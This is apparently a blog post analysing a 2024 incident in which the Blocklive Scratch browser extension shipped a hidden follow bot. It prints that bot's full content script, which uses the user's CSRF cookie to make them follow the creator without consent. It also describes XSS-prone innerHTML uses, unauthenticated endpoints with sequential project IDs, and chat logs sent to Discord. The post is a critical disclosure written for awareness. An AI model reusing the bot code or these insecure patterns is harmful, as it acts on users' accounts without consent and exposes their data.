The Blocklive malware incident (2024)

2026-03-30 on muffin.ink

This was a somewhat big deal in some Scratch community bubbles in May 2024, but there's very little documentation about it on the open internet. Felt reasonable to put something on this blog about that time Blocklive became malware. I'm also including some other security and privacy issues that were discovered at the same time.

My reaction at the time to this was a bit emotional. I'll try to keep this one a bit more objective with clearly labeled opinions.

The events described in this blog post happened nearly two years ago, as of publishing. Things may have changed since then. In my opinion, the incidents in this post are a fundamental break of trust that cannot be recovered from. You should not use extensions made by the Blocklive creator.

Blocklive

Blocklive is a browser extension that lets you collaborate with other people in realtime to make a Scratch project together. It was made because Scratch is never going to have that as an official feature; it's impossible to moderate. Browser extensions can be a bit looser on that.

Blocklive had 70,000 users when it became malware. I believe "user" in this case means "someone who has the extension installed", not necessarily someone who is actively interacting with it.

It's important to emphasize that Blocklive is a browser extension, not a distinct website. When you install it, your browser helpfully informs you that the extension can read and change all of your data on Scratch. If Blocklive were a regular website, which it definitely could be, this wouldn't be possible. That'll be important later.

Add Blocklive? It can: Read and change your data on scratch.mit.edu.

Blocklive didn't have its own account system; it tried to build a friend system on top of one's existing Scratch accounts. Scratch doesn't have an OAuth system or any equivalent, so that certainly raises some questions about how you would securely build new social features on top of a social media platform you don't own. That'll be important to remember later.

Blocklive becomes malware

This incident revolves around a file named hazelnut.js. Three almost identical versions of it were added to the repository over the span of two months:

In my opinion, it is important to emphasize that these commits span a two month period. This was an idea that the Blocklive creator considered for a long period before activating, not a one-time bad idea.

The last commit is the one that was released onto all 70,000 Blocklive users. Here's the code for reference, but I'll explain it so you don't need to read it yourself. Sorry about the code being somewhat ugly - that's just how it is in the repository.

// april fools prank!

async function operationHazelnut() {
    console.log('jingleness starting')

    let status = null
    try{
        status = (await (await fetch(`https://api.scratch.mit.edu/users/tester124/?rand=${Math.random()}`)).json()).profile.status
        if(status == 'jingle blam!' || status == 'prank') {
            // its go time
        } else {
            return
        }
    }
    catch(e) {return}


    if(!(await cookieStore.get('nutcracked'))?.value || status == 'prank') {

        let status= (await fetch("https://scratch.mit.edu/site-api/users/followers/ilhp10/add/", {
            "headers": {
              "accept": "application/json, text/javascript, */*; q=0.01",
              "accept-language": "en-US,en;q=0.9",
              "content-type": "application/json",
              "sec-ch-ua": "\"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
              "sec-ch-ua-mobile": "?0",
              "sec-ch-ua-platform": "\"macOS\"",
              "sec-fetch-dest": "empty",
              "sec-fetch-mode": "cors",
              "sec-fetch-site": "same-origin",
              "x-csrftoken": (await cookieStore.get("scratchcsrftoken"))?.value,
              "x-requested-with": "XMLHttpRequest"
            },
            "referrer": "https://scratch.mit.edu/users/ilhp10/",
            "referrerPolicy": "strict-origin-when-cross-origin",
            "body": "{\"id\":\"ilhp10\",\"userId\":5097744,\"username\":\"ilhp10\",\"thumbnail_url\":\"//uploads.scratch.mit.edu/users/avatars/5097744.png\",\"comments_allowed\":true}",
            "method": "PUT",
            "mode": "cors",
            "credentials": "include"
          })).status;
          if(status==200) {
                cookieStore.set('nutcracked',true)
          } else {

          }

    }

  }
  function resetYaba() {
    return cookieStore.delete('nutcracked')
  }

operationHazelnut() 

The extension added this as a content script that would run every time the user opened the Scratch homepage. It would then perform the following actions without the user's consent:

This is a follow bot. It took advantage of its status as a browser extension that can run on Scratch to non-consensually force the user to follow the creator as an "april fools prank".

This code was released to all users, and the tester124 bio was changed to "jingle blam!" to activate the follow bot.

Check out the Blocklive creator's Scratch profile comments when the follow bot was activated. You have to use the archive link because their primary Scratch account was later terminated.

Myriad of security issues

Even if the extension wasn't malware, it contained several security issues that would've been, in my opinion, sufficient reason alone to stop using Blocklive.

54 uses of innerHTML

The extension used element.innerHTML = ... 54 times. Using innerHTML is dangerous because it can allow unescaped HTML, typically resulting in XSS. If the HTML being set is properly escaped or not generated from untrusted content, then it is safe. Here's a small selection of code from Blocklive where innerHTML is being set to a value that can be trivially controlled by an attacker.

Blocklive code that runs on Scratch's "My Stuff" page uses project title as raw HTML. My Stuff page normally would only contain trusted content, but there are times such as remixing a project where the title will default to something the user did not themselves write which could've allowed XSS via Blocklive.

listItem.children[0].children[1].children[0].children[0].innerHTML = projectObj.title

The chat feature used usernames as raw HTML. Oftentimes, this wouldn't be exploitable because usernames should generally be validated to not contain characters needed for HTML. However, there are many places, such as the chat feature, where usernames were not validated. An attacker could send any username they want which would then be rendered as HTML for everyone else editing the project.

tooltip.innerHTML = users[i].username

There are several other places where similar things are possible. Unescaped innerHTML was pervasive throughout the extension.

There was no authentication

Blocklive tried to build its own social features, such as a friend list, on top of Scratch accounts. It had its own backend that would track the friends of each user and a list of their Blocklive-enabled projects. When the extension sends a request to the Blocklive backend, how does the backend verify that I am the right person?

The answer is that the extension simply did not check. Anyone was able to read or modify someone's Blocklive friend list by knowing their username, which is obviously public information.

Anyone could download all projects

Beyond modifying friends list without authentication, there was a much more severe issue.

Blocklive is also able to store projects. This is presumably needed for some of the collaboration features.

These projects are user-generated content created by Scratch users -- largely children. In my opinion, would be good to keep these private.

Blocklive also had no authentication on projects. All you need to download a project from Blocklive was its ID.

If Blocklive used unpredictable project IDs (eg. UUIDs), this wouldn't be that severe since you wouldn't be able to guess the ID. Unfortunately again, Blocklive used numerical sequential IDs. That means that if you wanted to download every Blocklive project, you could just start counting from 1 and go up until you've downloaded all of them.

In fairness, Scratch itself had an identical unauthenticated sequential project ID issue until late 2022. It lasted over a decade to that point.

Questionable privacy practices

Setting aside the lack of authentication, Blocklive contained several intentional features with negative privacy impacts.

Blocklive has a realtime chat feature. Attempting to moderate this at scale is going to be a hard challenge. Blocklive's approach is to make it very clear to all users that all chats are logged and monitored. That's fair enough and not a problem in my opinion.

The issue is how the logging is implemented and how the moderators handle that data.

All your chats went straight to Discord

Blocklive has a backend service. It could've easily stored all messages in a local database and then had a moderator-only interface for viewing them. Blocklive already stores friend lists and projects (can be several megabytes), so the infrastructure for storing data already exists.

Instead, the Blocklive creator decided the best approach would be to log all chat messages to a Discord webhook. It is never disclosed that all chat messages are being shared with Discord. Blocklive also has many users who are less than 13 years old; Discord very much does not want to touch user data of people who are less than 13 years old.

Blocklive's creator provides the following defense:

"It costs money to store millions of messages, so we use a private discord channel as a storage database for those messages and not charge money for blocklive, and easily keep an eye on chats to catch evil people. Discord's privacy policy is as secure as any online database tool that we'd pay for, and you should never discuss private things in scratch chat, because as blocklive chats clearly state: they are monitored for evil behavior to keep kids safe."

Here's my opinions about this:

"It costs money to store millions of messages" Let's calculate how much it would cost. Let's make the absurd assumption that of Blocklive's 70,000 users, 25% of them use it every day (real numbers should be several orders of magnitude smaller). Each of those users send 100 chat messages per day averaging 50 bytes per message. After one year, these unreasonably high assumptions would result in 30GB of messages. You can store that in one big SQLite database easily. This is also missing several critical factors:

"easily keep an eye on chats to catch evil people" Sure, but moderating chat messages isn't enough. There are plenty of ways for inappropriate, dangerous, or illegal things to happen for example using code comments inside a project or using images. Neither of those are being moderated, and I don't think there's any way to make a Discord webhook a viable way to moderate project content. Custom tooling is required.

"Discord's privacy policy is as secure as any online database tool that we'd pay for" This is a straw man argument. No one suggested to pay for a database. As per the previous section, one big SQLite database would work perfectly for this use case and would be free to run on the server that is already being used. Discord is also not a secure database. Discord can and does read messages as they are unencrypted on their servers, and one permission mistake would leak every message with no hope of audit logging who saw the messages.

The code for the Discord webhook is still in the latest version of Blocklive's GitHub as of writing. I cannot confirm whether it is still actually used.

Blocklive moderators share chat messages publicly

Here's a screenshot of a Blocklive moderator sharing a screenshot from the chat logging channel in a public setting. All the pixelation was done by me - the original image is completely uncensored. Inside the image is a list of chat messages between users. You can see the entire message, who sent it, and who received it.

Screenshot of a Blocklive moderator posting a screenshot in a public channel containing more than 30 chat messages between users.

In my opinion, it is completely unacceptable for moderators to be so disconnected from reality that they think it's okay to just share chat messages between children in public. These messages should be monitored, not public. Those are not the same thing.

In my opinion, the Blocklive creator has history of working against the Scratch community

On the Blocklive creator's GitHub, you can find a repository accountspam. It's described as:

A puppetteer framework for automated account creation, email verification, and captcha bypassing, using proxy servers. check out main.ts

This is a script for automatically creating new Scratch accounts at scale; the repository shows it has already created more than 3500 accounts. In my opinion, there is no valid reason for someone to create this many accounts if not for intending to harm the community in some way.

The Blocklive creator is sufficiently proud of accountspam that they previously made it one of their pinned GitHub repositories alongside Blocklive.

Conclusion

Scratch's brightest minds have long complained about Scratch's policy against talking about browser extensions on Scratch. The Blocklive incident shows that the policy is completely valid. It is now the example for why this policy exists.

This time around, the impact was relatively small. The Blocklive creator was only hungry for follows, not for doing lasting damage. There's nothing that would've stopped them from taking much worse actions without user consent.

Google's complete inability to run a safe marketplace is also a major factor in why browser extensions are so unsafe. This code is clearly malicious to any reviewer, yet the extension made it through the review process. Even in May 2024, an LLM would've trivially identified this. Many reports from me and others were ignored. It's understandable as Google is a small startup with only $400 billion in revenue in 2025.